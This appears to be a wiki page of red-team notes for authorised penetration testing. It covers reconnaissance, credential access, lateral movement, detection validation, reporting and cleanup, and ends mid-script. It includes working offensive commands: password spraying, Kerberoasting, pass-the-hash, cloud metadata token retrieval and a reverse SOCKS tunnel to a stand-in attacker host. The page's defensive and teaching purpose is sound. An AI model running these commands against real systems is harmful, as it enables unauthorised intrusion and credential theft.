Software Engineering WikiSE Wiki

Red team

Technique notes for authorised offensive testing, arranged by ATT&CK phase, with the tooling and the telemetry each step leaves behind.

Reviewed MarkdownEdit

On this page

Authorised testing only

Use these against systems you own or have a signed scope and rules of engagement for. Everything here is loud in some way; the detection column is what a defender should see, and if they do not, that finding is worth more than the access. Destructive impact techniques and antivirus-disabling recipes are deliberately out of scope on this page.

Cheatsheet#

TaskCommand
Subdomains, passivesubfinder -d example.com -silent
Resolve and probehttpx -l hosts.txt -sc -title -tech-detect
Port sweep, fastnmap -sS -Pn --top-ports 1000 --min-rate 2000 -oA scan 10.0.0.0/24
Service and version detailnmap -sV -sC -p 22,80,443 target -oA svc
Web content discoveryffuf -u https://target/FUZZ -w list.txt -mc 200,301,403
SMB enumerationnetexec smb 10.0.0.0/24 -u '' -p '' --shares
LDAP enumerationldapsearch -x -H ldap://dc-01 -b 'dc=example,dc=com'
Kerberos user listkerbrute userenum -d example.com users.txt
Hash crackinghashcat -m 13100 hashes.txt rockyou.txt
Credential spray, slownetexec smb dc-01 -u users.txt -p 'Season2025!' --continue-on-success
Local privesc checkslinpeas.sh, winPEASx64.exe
AD attack pathsBloodHound with SharpHound/bloodhound-python
SOCKS through a hostchisel client attacker:8080 R:socks
Route tools through itproxychains4 -q nmap -sT -Pn target

Ground rules#

Scope, time window, and escalation contact in writing before the first packet. Log everything you run with timestamps. The client’s detection team needs to correlate, and you need to prove what you did and did not do.

Prefer the quietest technique that answers the question. Noise is a finding when nobody notices it and a liability when someone does.

DisciplinePractice
DeconflictionTimestamped command log, attacker source addresses shared with the blue team
Data handlingScreenshot proof, not bulk data exfiltration; store evidence encrypted
CredentialsNever reuse client credentials outside the engagement; destroy at report delivery
Blast radiusNo denial of service, no destructive changes, no production data modification
CleanupRemove implants, accounts and scheduled tasks; list them in the report regardless

Engagement workflow#

Treat the engagement as a controlled change to someone else’s environment. The technical work sits inside an evidence trail: written authority, a reconciled target set, a timestamped activity log, detection checks, cleanup, and retesting. If any of those are missing, pause before increasing access.

GateReady whenStop when
AuthorityThe signed scope names the assets, test window, permitted techniques and authoriserAn asset, tenant or technique is ambiguous
SafetyBackups, fragile systems, rate limits and emergency contacts are knownAvailability degrades or monitoring reports an unexpected effect
TargetsEvery address, hostname, account and cloud identifier resolves to the current allow-listDiscovery crosses into a supplier, shared tenant or excluded range
EvidenceClocks are synchronised and commands, output, screenshots and hashes have a storage locationEvidence would contain unnecessary personal, regulated or secret data
DetectionThe blue team knows the tester source addresses and deconfliction processA possible real intrusion cannot be distinguished from the exercise
ExitCredentials, infrastructure, files and configuration changes have named owners and cleanup checksAny artefact cannot be accounted for

Suggested workspace#

Keep scope separate from tool output and keep raw evidence immutable after collection. Do not put plaintext credentials in this tree.

engagement/
├── scope/
│   ├── in-scope.txt          # one CIDR, IP or hostname per line
│   ├── exclusions.txt        # exclusions always win
│   └── rules-of-engagement.md
├── evidence/
│   ├── raw/                  # original command output
│   ├── screenshots/
│   ├── index.jsonl           # one metadata record per command
│   └── SHA256SUMS
├── notes/
│   ├── timeline.tsv
│   └── cleanup.tsv
├── findings/
└── report/

Before testing, record the UTC clock, egress addresses, resolver, VPN route and tool versions. This small baseline explains many apparent inconsistencies later.

date -u +%FT%TZ
ip -brief address
ip route
resolvectl status
nmap --version | head -n 1

Use a separate test identity where the objective allows it. Grant only the access needed for the scenario and set an expiry before handing the account to the operator. A test that depends on permanent administrator access proves little about the real attack path.

Scoping and authorisation#

The authorisation document is the engagement. It names the legal entity granting permission, the person with authority to grant it, the exact assets in scope, the assets explicitly out of scope, the test window, and the actions that require a stop-and-call rather than proceeding. Nothing starts before it is signed by someone who can actually authorise it; a project manager forwarding an email is not that person. For anything hosted by a third party (cloud provider, SaaS, managed DNS) confirm whether the provider’s own rules require separate notification, because the client cannot authorise testing of infrastructure they do not own.

Turn the written scope into a machine-readable allow-list before the first scan, so a fat-fingered CIDR cannot stray. Keep in-scope ranges, out-of-scope ranges and the current date window in one file that every tool and wrapper reads. Re-validate every target against it at run time, not just once at the start.

Scope artefactWhat it pins down
In-scope networksCIDRs, hostnames and cloud account IDs that may be touched
Explicit exclusionsProduction databases, third-party tenants, executive endpoints, anything fragile
Test windowStart and end timestamps, allowed hours, blackout periods
Rules of engagementPermitted techniques, social-engineering limits, data-handling rules
Escalation contactsWho to call on a suspected real breach, a system falling over, or a safety concern
Deconfliction channelHow the blue team distinguishes your traffic from a genuine intrusion

Two failure modes dominate real engagements: testing something out of scope because the target list was never reconciled against the exclusions, and a control the client thought existed being absent, so a routine action has an outsized effect. Both are prevented by the same habit, reading the current scope file before every action and stopping the moment reality diverges from the brief.

The rules of engagement also protect the tester. They record that each action was authorised, which is the difference between a penetration test and a computer-misuse offence. Keep the signed document, the scope file and the command log together; they are the evidence that the work stayed inside the grant.

Reconnaissance#

TechniqueCommandDetection signal
Passive subdomainssubfinder -d example.com -all -silentNone; certificate transparency and public sources
Certificate transparencycurl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -uNone
DNS zone datadig axfr example.com @ns1.example.comZone transfer attempt logged by the DNS server
Live web hostshttpx -l hosts.txt -sc -title -tech-detect -o web.txtWeb access logs, unusual user agent
Port discoverynmap -sS -Pn --min-rate 2000 -p- targetIDS scan signatures, firewall connection counts
Service fingerprintnmap -sV -sC -p- --open targetBanner grabs, versioned probes
Content discoveryffuf -u https://target/FUZZ -w raft-medium.txt -mc all -fc 404404 flood in web logs, WAF rate limits
Cloud asset discoverycloud_enum -k exampleProvider access logs, bucket access denied events
Credential exposurePublic breach data, git log -S 'password' in cloned repositoriesNone externally
subfinder -d example.com -silent | httpx -silent -sc -title -tech-detect | tee web.txt
nmap -iL hosts.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA sweep
nuclei -l web.txt -severity high,critical -o findings.txt

Initial access#

VectorNotesDetection signal
Exposed service with a known CVEVerify the version before firing anythingExploit signature, service crash, patch-level mismatch
Default or reused credentialsSpray slowly, respect lockout policyFailed logon bursts (4625), lockouts
Exposed admin interfacesJenkins, Grafana, Kibana, Docker API, Kubernetes APIUnusual source address on a management port
Phishing (if in scope)Payload and pretext agreed in writing beforehandMail gateway logs, attachment detonation, user report
Supply chain of your own toolingOut of scope for almost every engagementNone
# Spray with lockout awareness: one password, all users, then wait
netexec smb dc-01.example.com -u users.txt -p 'Winter2025!' --continue-on-success --no-bruteforce

Password spraying is the most common way in and the easiest to detect: a single password against many accounts produces a distinctive burst of 4625 events across the domain. If nobody alerts, that is the finding.

Read the domain’s lockout threshold, reset interval and exclusions before any credential test. Use dedicated test accounts where the objective is control validation rather than account discovery. Record each attempted account and expected event count so the blue team can distinguish missing telemetry from missing alerts.

Web and API testing#

Start with the application’s trust boundaries: unauthenticated users, ordinary users, administrators, service identities, background jobs and upstream integrations. Build an endpoint inventory from browser traffic, API specifications, JavaScript bundles and proxy history, then test authorisation by changing one variable at a time.

AreaTestEvidence to retain
Object authorisationRequest another test user’s object with the same role, then a different roleBoth requests and responses with tokens redacted
Function authorisationCall an administrative route as a lower-privileged test identityRoute, method, identity and status code
Session handlingReuse a session after logout, password reset and role removalSession issue time, invalidation action and result
Input handlingSend a harmless marker through each parser and encoding boundaryExact request, parser behaviour and downstream location
File handlingUpload mismatched extension, media type and file signature using inert contentStored name, served headers and processing result
Rate controlsIncrease requests gradually within the agreed ceilingRequest rate, response codes and server-side alert time
Outbound requestsPoint URL-import features at an engagement-controlled canary endpointCanary request metadata; never target link-local metadata without approval
GraphQLCompare schema access, field-level authorisation, aliases and batch limitsQuery, variables, identity and response

Use replayable request files instead of screenshots alone. They make retesting exact and let reviewers remove secrets before the report is distributed.

# Request and response headers, timing and body are saved separately.
curl --fail-with-body --silent --show-error \
  --dump-header evidence/raw/profile.headers \
  --output evidence/raw/profile.body \
  --write-out '%{json}\n' \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  'https://app.example.com/api/profile' \
  > evidence/raw/profile.transfer.json

# Compare response structure without copying volatile values into the report.
jq -S 'del(.request_id, .generated_at)' evidence/raw/user-a.json > evidence/raw/user-a.normalised.json
jq -S 'del(.request_id, .generated_at)' evidence/raw/user-b.json > evidence/raw/user-b.normalised.json
diff -u evidence/raw/user-a.normalised.json evidence/raw/user-b.normalised.json

Do not place bearer tokens directly in shell history. Load short-lived test credentials from a protected file descriptor or a credential manager, redact them from captured requests, and revoke them during cleanup.

Execution and persistence#

TechniqueWhereDetection signal
Scheduled task / cronschtasks /create, crontab -eTask creation events (4698), /var/log/cron
systemd unit or timer/etc/systemd/system/*.serviceNew unit files, systemd-analyze diffs
Service creationsc.exe create7045 service installed
Run keyHKCU\...\RunRegistry autorun monitoring
SSH authorized_keysAppend a key to a service accountFile integrity monitoring, key fingerprint audit
Container or clusterCronJob, mutating webhook, privileged DaemonSetKubernetes audit log, admission controller
CI/CDPipeline step or self-hosted runnerPipeline definition diff, runner registration

Test dangerous Kubernetes admission paths without starting a privileged workload. Server-side dry-run exercises authentication, authorisation, admission and schema validation without persisting the object.

kubectl auth can-i create pods --subresource=exec -n app
kubectl auth can-i create clusterrolebindings
kubectl apply --server-side --dry-run=server -f privileged-pod-test.yaml

The test manifest should request one forbidden property at a time, such as hostPID, a hostPath volume or securityContext.privileged. A rejection identifies the exact enforcing control. An unexpected acceptance is evidence of an admission gap; do not remove --dry-run=server without explicit approval. Kubernetes documents that --dry-run=server submits the request through the server without persisting the resource.

Privilege escalation#

CheckCommandWhy it works
Sudo rulessudo -lMisconfigured NOPASSWD on an interpreter or editor
SUID binariesfind / -perm -4000 -type f 2>/dev/nullUnexpected SUID with a shell escape (GTFOBins)
Writable service unitsfind /etc/systemd -writable 2>/dev/nullRoot executes what you can edit
Capabilitiesgetcap -r / 2>/dev/nullcap_setuid, cap_dac_override on a binary
Cron jobscat /etc/crontab; ls -la /etc/cron.*Writable script or wildcard injection
Kernel versionuname -a and known exploitsUnpatched local privilege escalation
Container escapecat /proc/1/cgroup, check for privileged, hostPath, docker socketThe socket is root on the host
Cloud metadatacurl -s 169.254.169.254/latest/meta-data/iam/security-credentials/Instance role often over-permissioned
Windows service pathswmic service get name,pathnameUnquoted paths, writable binaries
Token privilegeswhoami /privSeImpersonate leads to well-known escalations
linpeas.sh -a 2>&1 | tee linpeas.txt        # noisy but thorough; expect EDR to notice
sudo -l
find / -perm -4000 -type f 2>/dev/null
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'

IMDSv2 (AWS) requires a token acquired with a PUT request and then supplied in a header. That blocks many simple SSRF paths, but not every server-side request primitive. Test the actual method and header controls, hop limit and workload permissions rather than downgrading the finding solely because IMDSv2 is enabled.

Credential access#

SourceTechniqueDetection signal
Kerberos service ticketsKerberoasting: GetUserSPNs.py -request4769 for RC4 tickets, unusual SPN requests
Accounts without preauthAS-REP roasting: GetNPUsers.py4768 with preauth disabled
LSASS memoryDump and parse offlineEDR alert on process access to lsass.exe
SAM / SYSTEM hivesreg save then secretsdump.py LOCALRegistry hive save events
NTDS.ditntdsutil snapshot, or secretsdump.py -just-dcDCSync replication from a non-DC (4662)
Linux shadow fileRequires root alreadyFile access auditing
Cloud credentials~/.aws/credentials, environment, instance roleCloudTrail credential use from a new address
Application secrets.env, CI variables, unencrypted state filesSecret scanning, access to state buckets

Request only the minimum artefact needed to demonstrate the control gap. For Kerberoasting, a ticket for a dedicated test SPN can prove exposure and exercise event 4769 without collecting production service-account material. For replication rights, inspect the directory ACL first and use a dedicated canary account if the rules permit an active validation. Do not retrieve krbtgt, NTDS or LSASS material merely to prove that excessive rights exist.

DCSync behaviour from anything that is not a domain controller is a high-value detection opportunity; the same principle applies to replication privileges around FreeIPA and IdM. Record the source, canary object, expected directory event and alert time.

Discovery and lateral movement#

TechniqueCommandDetection signal
Domain mappingbloodhound-python -d example.com -u u -p p -c AllHeavy LDAP queries from one host
Share enumerationnetexec smb 10.0.0.0/24 -u u -p p --sharesMass SMB session setups
Interesting filesnetexec smb targets -u u -p p -M spider_plusFile server access spike
Pass the hashnetexec smb target -u admin -H <nthash>NTLM logon type 3 from an unusual host
Pass the ticketexport KRB5CCNAME=ticket.ccache; psexec.py -k -no-passTicket use from a new source
WMI / WinRM executionwmiexec.py, evil-winrm -i host -u u -H hash4688 process creation, WinRM logs
SSH pivotingssh -J bastion target, agent forwarding abuseAuth logs, unusual jump patterns
Tunnellingchisel server -p 8080 --reverse, then R:socksLong-lived outbound connections to an unknown host
chisel server -p 8080 --reverse &                       # attacker
chisel client attacker.example:8080 R:socks             # foothold
proxychains4 -q netexec smb 10.10.0.0/24 -u u -p p

Lateral movement is where most engagements are caught, and where most are not caught but should be. Record the exact time of each hop so the client can measure detection latency.

Cloud control-plane testing#

Cloud testing starts with identity and organisation boundaries, not network scanning. Confirm the account, subscription or project IDs in scope and capture the caller identity before every session. Shared services, marketplace images, managed control planes and customer data may belong to another legal entity even when they appear in the client’s console.

QuestionRead-only evidenceCommon failure
Who am I?Caller identity, tenant and account identifiersTesting from the wrong cached profile
What can this identity reach?Attached policies, role trust and access-analysis resultsWildcards hidden across several policies
Can guardrails be bypassed?Organisation policy, SCP or management-group assignmentGuardrail exists but misses a child account
Where can credentials originate?Workload identity, instance profile, CI federation and key inventoryLong-lived key where federation is available
Is activity visible?Audit-trail status, destinations, retention and a canary eventLogging enabled in only one region
Can data leave?Bucket policy, public-access controls and egress policyResource policy overrides the expected identity policy
# Pin the expected identity before collecting anything else.
aws sts get-caller-identity
az account show --query '{tenant:tenantId,subscription:id,user:user.name}' -o json
gcloud config list account project --format=json

# Prefer policy simulation and access analysis over changing a resource.
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/TestRole \
  --action-names s3:GetObject \
  --resource-arns arn:aws:s3:::engagement-canary/*

The IAM policy simulator does not perform the requested operation, but its result can differ from the live environment and it does not automatically include every resource policy. Treat it as evidence about identity policies, not proof of effective access.

Store cloud output as JSON and retain the request identity with it. Resource names alone are ambiguous across accounts. If a scenario needs a write, create a tagged canary resource with a short expiry and record its identifier in the cleanup ledger before creation.

Kubernetes and container platforms#

Collect the current context, API server and namespace before any query. RBAC answers depend on the identity and namespace, while admission answers depend on the complete object.

kubectl config current-context
kubectl auth whoami -o json
kubectl auth can-i --list -n app
kubectl get --raw='/version'

Focus on paths that cross a trust boundary: workload identity to cloud API, pod to node, namespace to namespace, registry to deployment, and CI identity to cluster administrator. Check these properties without reading Secret values:

BoundaryRead-only or dry-run check
RBACkubectl auth can-i for impersonation, bind, escalate, secrets and pod subresources
Pod securityServer-side dry-run of one restricted field at a time
Network policyTest pods and canary endpoints agreed with the platform owner
Service accountsAutomount settings, projected-token audience and expiry, cloud-role binding
Node exposureWorkloads using hostPath, host namespaces, privileged mode or runtime sockets
Supply chainImage digest pinning, signature policy, registry write access and admission result
AuditPresence of create, exec, attach, port-forward and RBAC change events in the SIEM

Avoid broad YAML exports. They often collect Secret data and unrelated tenant configuration. Request named fields with -o custom-columns, JSONPath or jq, and save the command beside the output.

Command and control#

ChoiceTrade-off
HTTPS beacon with long jitterBlends with normal traffic; slow interaction
DNSWorks where nothing else does; very noisy to a resolver that logs
Cloud service as redirectorReputation of a trusted domain; provider terms may prohibit it
Direct shellSimple, immediate, trivially detected

Agree the C2 infrastructure with the client in advance, including the domains and addresses, so their detection team can confirm what they should have seen afterwards. Egress filtering, TLS inspection and DNS logging are the three controls being tested here.

Exfiltration testing#

Demonstrate the path with canary data, not with the client’s real data. A file of known marker strings proves the control gap without creating a breach of your own.

ChannelControl being tested
HTTPS POST to an external hostEgress filtering, TLS inspection, DLP
DNS queriesDNS logging and exfiltration detection
Cloud storage uploadEgress allow-lists, provider-side DLP
Email attachmentMail DLP

Generate a unique, non-sensitive canary so every observation can be attributed to the engagement. Agree its size and classification with the data owner.

marker="RT-$(date -u +%Y%m%dT%H%M%SZ)-$(openssl rand -hex 8)"
printf '%s\n' "$marker" | tee evidence/raw/exfil-canary.txt
sha256sum evidence/raw/exfil-canary.txt

Start with the smallest object and one transfer. Record the protocol, destination, expected control, observed control and bytes sent. Stop after proving the path. Do not increase volume to make an alert fire unless volume testing and its ceiling are written into the rules of engagement.

Detection validation#

A red-team action without a detection expectation measures only prevention. Before each scenario, write down the event source, fields that identify the activity, expected correlation and maximum acceptable response time. Afterwards, reconcile operator time with source-event time, ingestion time, alert time and analyst action.

2026-09-27T01:12:03Z  operator  Started one-password spray from 192.0.2.20
2026-09-27T01:12:05Z  source    First 4625 recorded by dc-01
2026-09-27T01:13:11Z  ingest    Event searchable in SIEM
2026-09-27T01:14:02Z  alert     Password-spray rule opened alert RT-184
2026-09-27T01:18:40Z  response  Analyst contacted exercise controller

This distinguishes four different failures: the source did not log, forwarding lost the event, detection logic missed it, or response did not act. Report the failing layer rather than saying only “no alert”.

ResultMeaningReport action
Prevented and alertedPreventive and detective controls workedRecord evidence and tune only if noisy
Prevented, no alertAttack failed but defenders lack visibilityDetection finding or improvement
Allowed and alertedExposure exists but monitoring workedRemediate exposure and preserve the detection
Allowed, no alertBoth preventive and detective controls failedPrioritise by reachable impact

Reporting#

A finding without impact and a fix is trivia. For each one record: what you did, when, from where, what it proved, what the business consequence is, and the smallest change that closes it. Include the detection timeline: which steps were alerted on, which were not, and how long each took.

Order by exploitability and impact, not by CVSS alone. A medium-severity issue on a path to domain admin outranks a critical on an isolated host.

A useful report is built as you go, not written at the end from memory. Structure each finding the same way so the reader can triage quickly:

FieldContent
TitleThe weakness in one line, phrased as the problem, not the tool
SeverityImpact and likelihood combined, with the reasoning, not a bare CVSS number
Affected assetsThe exact hosts, URLs or accounts, matched to the scope file
EvidenceTimestamped commands, request and response, screenshots with the clock visible
ImpactThe business consequence in the client’s terms, not the technical mechanism
RemediationThe smallest change that closes it, and the strategic fix if different
DetectionWhether the step was alerted on, and how long detection took

The detection timeline is often the most valuable part of the deliverable. Pair every technique with the telemetry it should have produced (the detection columns above), then record for each whether an alert fired, when, and who acted. A gap where a loud action went unnoticed is a finding in its own right, frequently more actionable than the vulnerability that enabled the action. Deliver the report over an encrypted channel, walk the client through it live, and destroy the working data and any harvested credentials once it is accepted.

Worked finding#

## Users can read another tenant's invoices

**Severity:** High. An authenticated user can retrieve invoices belonging to another tenant by changing the invoice identifier. Identifiers are exposed in normal application traffic, and invoices contain names, addresses and payment history.

**Affected asset:** `https://app.example.com/api/invoices/{id}`

**Evidence:** At 2026-09-27T02:14:31Z, test user A requested its own invoice `INV-TEST-A` and received HTTP 200. The same session requested test user B's `INV-TEST-B` and received HTTP 200 with B's canary record. Evidence files `request-a.txt`, `request-b.txt` and their SHA-256 hashes accompany this report. Tokens and personal data were redacted.

**Cause:** The handler verifies that the caller is authenticated but does not constrain the invoice query by the caller's tenant ID.

**Remediation:** Derive the tenant from the validated server-side session and include it in the invoice lookup. Return the same not-found response for missing and unauthorised objects. Add an integration test covering two tenants.

**Detection:** The requests appeared in access logs. No alert is expected for a single request; monitor repeated cross-tenant lookup failures after the authorisation check is added.

**Retest:** Repeat both requests with the original identities. User A should receive its invoice and receive the documented not-found response for B's.

The evidence proves one boundary crossing with synthetic records. It does not enumerate other tenants or claim every endpoint is affected. Keep conclusions inside the evidence.

Cleanup and retesting#

Create the cleanup ledger before creating the first artefact. Every account, key, role, file, task, rule, domain, redirector, canary resource and configuration change needs an owner, creation time, removal method and verification result.

created_at<TAB>type<TAB>identifier<TAB>owner<TAB>remove_command<TAB>status<TAB>verified_at
2026-09-27T00:30:00Z<TAB>account<TAB>rt-canary-01<TAB>operator<TAB>ticket CHG-1842<TAB>pending<TAB>

Do not put secrets or executable payloads in the ledger. For changes owned by the client, reference the approved change ticket rather than embedding a privileged command. During closeout:

  1. Stop test traffic and disable engagement infrastructure.
  2. Revoke issued sessions, API keys, certificates and test credentials.
  3. Remove or hand back every ledger entry and have a second person verify the result.
  4. Confirm monitoring suppressions and temporary allow-list entries have expired.
  5. Generate and sign the evidence manifest, then transfer the agreed deliverables.
  6. Destroy working copies and credential material according to the retention agreement.
  7. Record exceptions with an owner and due date. An unchecked cleanup item is an open risk.

Retesting should reproduce the original precondition and request, verify the fix, then test the nearest variants. Record application version, control version and test identity. Mark a finding closed only when the original path fails for the expected reason and legitimate behaviour still works.

Retest resultUse when
RemediatedThe original path and close variants are blocked by the intended control
Partially remediatedThe path changed, but a variant or another affected asset remains
Not remediatedThe original reproduction still succeeds
Not retestedAccess, environment or evidence is insufficient; state the blocker

Tooling reference#

Reach for maintained, well-documented tools rather than one-off scripts; the client can then reproduce a finding, and the tool’s own documentation carries the current syntax. Verify versions at the start of the engagement, because option names drift.

AreaToolsPurpose
Passive reconsubfinder, amass, crt.sh, dnsxEnumerate names without touching the target
Active reconnmap, masscan, httpx, naabuPort, service and web-surface discovery
Web surfaceffuf, feroxbuster, katana, nucleiContent discovery and templated checks
Directory / AD mappingBloodHound, SharpHound, bloodhound-python, ldapsearchRead-only relationship and privilege mapping
Credential auditinghashcat, johnOffline strength testing of hashes you are authorised to hold
Access verificationnetexec, impacket, kerbruteConfirm which credentials work where
Local posture checkslinpeas, winpeas, pspyEnumerate local misconfiguration (noisy; expect EDR)
Pivotingchisel, ligolo-ng, sshuttle, proxychainsRoute authorised tooling through a foothold
Cloud postureprowler, scoutsuite, pmapper, cloud_enumRead-only misconfiguration and IAM path review
Reportingnmap-to-* parsers, dradis, note templatesTurn scan output into structured findings

Prefer the read-only mode of any tool that has one, prefer official documentation over blog copy-paste for syntax, and record the exact command and version for every result so a finding can be reproduced. The ATT&CK catalogue and the PTES and OWASP WSTG methodologies give the vocabulary and phase structure the report should follow.

Troubleshooting#

SymptomCauseFix
proxychains connections hang or time outUDP or ICMP sent through a TCP-only SOCKS tunnel (nmap -sS, ping)Use TCP connect scans (nmap -sT -Pn) through the proxy; SOCKS carries TCP only
nmap shows every port open or filteredA firewall or IPS is tarpitting, or the host is behind a load balancerSlow down (--max-rate), confirm with -sT to a known-open port, check from another source
nmap misses hosts that are upDefault host discovery blocked by ICMP filtering-Pn to skip discovery, or -PS/-PA against ports likely to be allowed
Credential spray triggers lockoutsAttempt rate above the account lockout thresholdOne password per round, wait past the observation window; read the policy from the domain first
netexec or impacket fails with KRB_AP_ERR_SKEWClock skew over five minutes to the KDCSync the attacking host’s clock to the target’s time source; see IdM
Kerberos tooling fails with KDC_ERR_S_PRINCIPAL_UNKNOWNWrong SPN or wrong realm casing in the requestConfirm the exact principal; realm is upper-case, host part lower-case
ldapsearch returns operations error against ADAnonymous bind refused; authentication requiredBind with in-scope credentials (-D/-w or -Y GSSAPI with a ticket)
BloodHound collection incompleteCollector could not reach every DC, or lacked read on some objectsRun with a valid ticket, target each DC, use -c All; it needs only read access
Tool cannot resolve internal names through a pivotDNS not tunnelled with the SOCKS proxyPoint the tool at an internal resolver over the proxy, or use proxychains with proxy_dns
Findings not reproducible laterCommand, version or source address not recordedLog every command with a timestamp (see the wrapper in Scripts); pin tool versions
Uncertain whether a target is in scopeScope not reconciled against exclusionsStop; check the scope file; when still unclear, ask the escalation contact before proceeding

Oneliners#

Reconnaissance, scope hygiene and evidence handling only. Everything here is passive or read-only, or an engagement-management helper; run active commands only against assets in the signed scope.

# Passive subdomains, deduplicated, from certificate transparency and public sources
subfinder -d example.com -all -silent | sort -u

# Certificate transparency names for a domain (no packets to the target)
curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

# Which discovered names actually resolve, and to what
dnsx -l names.txt -a -resp -silent

# Live web hosts with status, title and detected technology, saved for the report
httpx -l hosts.txt -sc -title -tech-detect -o web-surface.txt

# Reverse-DNS a CIDR to spot naming conventions before any active scan
for ip in 192.0.2.{1..254}; do n=$(dig +short -x "$ip"); [[ -n $n ]] && printf '%s\t%s\n' "$ip" "$n"; done

# Confirm a single target is inside the in-scope allow-list before touching it
grep -qxF "$TARGET" scope/in-scope.txt && echo 'in scope' || echo 'OUT OF SCOPE - stop'

# Expand in-scope CIDRs to a flat host list the tooling can consume
while read -r c; do nmap -sL -n "$c" 2>/dev/null | awk '/Nmap scan report/ {print $NF}'; done < scope/in-scope-cidrs.txt > scope/hosts.txt

# Remove any excluded address from a target list before scanning
grep -vxF -f scope/exclusions.txt scope/hosts.txt > scope/targets.txt

# Are we inside the authorised test window right now
now=$(date -u +%s); [[ $now -ge $(date -u -d "$WINDOW_START" +%s) && $now -le $(date -u -d "$WINDOW_END" +%s) ]] && echo 'within window' || echo 'OUTSIDE window'

# Top-1000 TCP sweep of in-scope hosts, all output formats, for the record
nmap -iL scope/targets.txt -sS -Pn --top-ports 1000 --min-rate 1500 -oA evidence/sweep-$(date +%FT%H%M)

# Re-run only the services found open, for version detail
nmap -iL scope/targets.txt -sV -sC -p "$(awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | paste -sd,)" -oA evidence/services

# Templated safety and misconfiguration checks at high severity only
nuclei -l web-surface.txt -severity high,critical -o evidence/nuclei-$(date +%F).txt

# Content discovery excluding 404s, rate-limited to be polite
ffuf -u https://target/FUZZ -w wordlist.txt -mc all -fc 404 -rate 50 -o evidence/ffuf.json

# Read-only AD relationship collection with a valid ticket (needs only read access)
bloodhound-python -d example.com -u recon -p "$PASS" -c All -ns 192.0.2.10 --zip

# LDAP enumeration of the domain naming context with in-scope credentials
ldapsearch -x -H ldap://dc-01.example.com -D 'recon@example.com' -w "$PASS" -b 'dc=example,dc=com' '(objectClass=user)' sAMAccountName

# Hash the attacking host's source IPs so the blue team can filter deconfliction traffic
ip -4 -o addr show | awk '{print $4}' | tee evidence/attacker-source-ips.txt

# Timestamped, appended command log for the whole engagement
log() { printf '%s\t%s\n' "$(date -u +%FT%TZ)" "$*" >> evidence/commands.log; "$@"; }

# Screenshot proof of a web finding with the URL and time captured in the filename
gowitness single "https://target/path" -P evidence/screens/

# Count unique open ports across the sweep for a coverage summary
awk -F/ '/open/ {print $1}' evidence/sweep-*.gnmap | sort -un | wc -l

# Diff two sweeps to show what changed between test days
diff <(sort evidence/sweep-day1.gnmap) <(sort evidence/sweep-day2.gnmap)

# Extract host:port:service into a CSV the report generator reads
awk '/Ports:/ {host=$2; for (i=1;i<=NF;i++) if ($i ~ /open/) print host","$i}' evidence/services.gnmap

# Encrypt the evidence directory at rest before it leaves the test host
tar -cz evidence/ | age -r "$CLIENT_AGE_PUBKEY" > evidence-$(date +%F).tar.gz.age

# Verify TLS certificate details on an in-scope endpoint (see the TLS page for more)
openssl s_client -connect target.example.com:443 -servername target.example.com </dev/null 2>/dev/null | openssl x509 -noout -subject -dates

# Confirm cloud metadata protection on an in-scope instance (IMDSv1 reachable is a finding; see AWS)
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/ -o /dev/null -w '%{http_code}\n'

# List scheduled tasks and services you may have created, to reconcile against cleanup
{ crontab -l 2>/dev/null; systemctl list-unit-files --state=enabled; } | grep -i "$ENGAGEMENT_TAG" || echo 'none tagged'

# Wordlist of just the hostnames from discovered web surface, for further passive lookups
awk '{print $1}' web-surface.txt | sed -E 's#https?://##; s#[:/].*##' | sort -u

Scripts#

Workspace bootstrap: creates the engagement structure with restrictive permissions, starter scope files and ledgers. Run it on an encrypted volume approved for client data.

#!/usr/bin/env bash
# usage: engagement-init.sh ACME-2026-09
set -euo pipefail
(( $# == 1 )) || { echo "usage: $0 engagement-name" >&2; exit 2; }
[[ $1 =~ ^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$ ]] || { echo 'invalid engagement name' >&2; exit 2; }

umask 077
root=$1
[[ ! -e $root ]] || { printf 'refusing to overwrite %s\n' "$root" >&2; exit 1; }
mkdir -p "$root"/{scope,evidence/raw,evidence/screenshots,notes,findings,report}
touch "$root"/scope/{in-scope.txt,exclusions.txt,rules-of-engagement.md}
printf 'time_utc\tactor\taction\tasset\tresult\tevidence\n' > "$root/notes/timeline.tsv"
printf 'created_at\ttype\tidentifier\towner\tremoval_reference\tstatus\tverified_at\n' > "$root/notes/cleanup.tsv"
printf '%s\n' "$root created with mode 0700"
chmod 0700 "$root"

Scope guard: validates explicit IP addresses and hostnames against allow-list entries containing IP addresses, IPv4/IPv6 networks and hostnames. It gives exclusions precedence, checks an ISO 8601 UTC test window, and executes the command without a shell. It deliberately does not guess targets from command arguments or accept a whole CIDR as one target. Expand an approved range and validate each address. Every target must be supplied with --target; omission is easier to review than unreliable inference.

#!/usr/bin/env python3
"""Run a command only when every declared target is currently in scope."""

from __future__ import annotations

import argparse
import datetime as dt
import ipaddress
import os
from pathlib import Path
import socket
import subprocess
import sys


def entries(path: Path) -> list[str]:
    try:
        lines = path.read_text(encoding="utf-8").splitlines()
    except OSError as exc:
        raise SystemExit(f"REFUSED: cannot read {path}: {exc}") from exc
    return [line.split("#", 1)[0].strip().rstrip(".").lower() for line in lines if line.split("#", 1)[0].strip()]


def instant(name: str) -> dt.datetime:
    value = os.environ.get(name, "")
    if not value:
        raise SystemExit(f"REFUSED: {name} is not set")
    try:
        parsed = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
    except ValueError as exc:
        raise SystemExit(f"REFUSED: {name} must be ISO 8601, for example 2026-09-27T00:00:00Z") from exc
    if parsed.tzinfo is None:
        raise SystemExit(f"REFUSED: {name} must include a UTC offset")
    return parsed.astimezone(dt.UTC)


def addresses(value: str) -> set[ipaddress.IPv4Address | ipaddress.IPv6Address]:
    try:
        return {ipaddress.ip_address(value)}
    except ValueError:
        try:
            results = socket.getaddrinfo(value, None, type=socket.SOCK_STREAM)
        except socket.gaierror as exc:
            raise SystemExit(f"REFUSED: cannot resolve {value}: {exc}") from exc
        return {ipaddress.ip_address(result[4][0]) for result in results}


